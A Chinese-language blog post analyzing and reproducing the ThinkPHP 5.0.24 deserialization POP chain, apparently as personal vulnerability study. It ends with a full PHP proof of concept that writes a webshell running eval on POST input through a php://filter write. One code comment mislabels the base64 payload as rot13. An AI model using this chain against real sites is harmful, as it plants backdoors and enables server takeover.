thinkphp5.0.24反序列化pop链分析

[toc]

关于本文

这篇是对thinkphp5.0.24反序列化漏洞的复现,因为代码量有点大,分析起来属实让人自闭,看的我头疼。
本文分析会附带poc。

环境搭建

从网上下载下来此版本的代码,然后打开 application\index\controller\index.php,写下如下代码。

phpstorm+xdebug配置,下载一个chrome插件:xdebug helper,跟着网上教程设置一下,然后phpstorm监听,就可以断点单步跟踪调试了。
然后还开了框架的debug模式。

反序列化分析

全局搜索一下__destruct()方法,在Windows类中发现一个可以利用的。

跟进removeFiles()方法

这里的file_exists()函数会触发__toString()方法,全局搜索__tostring(),在Model类中发现可以利用的,因为Model是抽象类,不能被实例化为对象,必须找到他的子类Pivot,父类中的方法子类是可以继承的嘛,一会用Pivot就好了。


__toStrint() => toJson() => toArray()

跟进toArray()方法,这个方法前半部分是没有用的,不用管他,直接看后半部分

看这一行代码

1
$item[$key] = $value ? $value->getAttr($attr) : null;

这里的 valueattr 都是可控的,这不是正好可以触发__call方法吗,于是向前看看这两个变量是怎么来的。
首先 this->append不为空且为数组,数组里面的值不能为数组,并且不能包含点号。这个 loader::parseName() 就是转换大小写的函数,不用管。然后往下第902行,如果 $this->$relation() 存在并且把其返回值赋值给 $modeRelation
因为这里是 $this->$relation() 而不是 $this->relation() ,我们便可以通过 $relation参数调用这个类中的任意方法
往下找了找找到了这个方法,可以返回任意值。

然后下面这行代码,调用了 $modeRelation 作为参数,并且把返回值传给 $value

1
$value         = $this->getRelationData($modelRelation);

跟进一下

这里又一个if/else分支,按道理来说if为真时完全可以达成一条完整的pop链,把 $this->parent 的值赋值给value,然后再往下触发__call 即可,但不知道为什么复现时候老是报错,没办法执行,真难,艹。

然后又找到了另一条链子,这里就不看没成功的那个了,回头有时间再看看。
看646行,

1
$value = $modelRelation->getRelation();

调用了 getRelation 方法,我们要找一个有这个方法并且返回值可控的,于是在 HasOne 这个类中找到了这个方法,看一下

看第53、54行,这里两个参数都是可控的,在这里可以触发 __call()

可调用的 __call()Output 类中:

跟进 Outputblock 方法

跟进 writeIn 方法

跟进 write 方法

这里可以调用任意类的write方法,全局搜索一下write方法,在 Memcache 类中的 write 可以调用任意类的 set方法。

寻找 set 方法,在 File 类中,

需要使用伪协议绕过exit()使用file_put_contents()写入shell,
这里第一次调用 set 参数是不可控的,无法写shell,真正写shell是利用 setTagItem() 方法第二次调用set,然后就可以写入shell了。

中途写好后运行了几次无法在windows中复现成功,于是参考了这里:

https://xz.aliyun.com/t/7457#toc-3

下面是最后的POC:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
//File类
namespace think\cache\driver;
class File
{
protected $tag='sodayo';
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', //这里是欲写入的PHP被rot13后的结果
'data_compress' => false,
];
}


//Memcached类
namespace think\session\driver;
use think\cache\driver\File;
class Memcached
{
protected $handler;
function __construct()
{
$this->handler=new File();
}
}


//Output类
namespace think\console;
use think\session\driver\Memcached;
class Output
{
protected $styles = ['removeWhereField'];
function __construct()
{
$this->handle=new Memcached();
}
}
//HasOne类
namespace think\model\relation;
use think\console\Output;
class HasOne
{
//protected $foreignKey="sss"; //$this->query->removeWhereField($this->foreignKey)
function __construct()
{
$this->query=new Output();
}
}


//Pivot类
namespace think\model;
use think\model\relation\HasOne;
class Pivot
{
protected $append = ['getError'];
public function __construct()
{
$this->error=new HasOne();
}
}
//Windows类
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
public function __construct()
{
$this->files=[new Pivot()];
}
}
$x=new Windows();

echo urlencode(serialize($x));

运行后生成a.php6218150bbcad1e6eec78da4604c4b6c7.php,其中包含了一个eval($_POST[‘ccc’])

最后

只想说是真的难,和平时比赛中的反序列化链子完全不是一个级别的。然后总之就是多审链子,还是太菜了。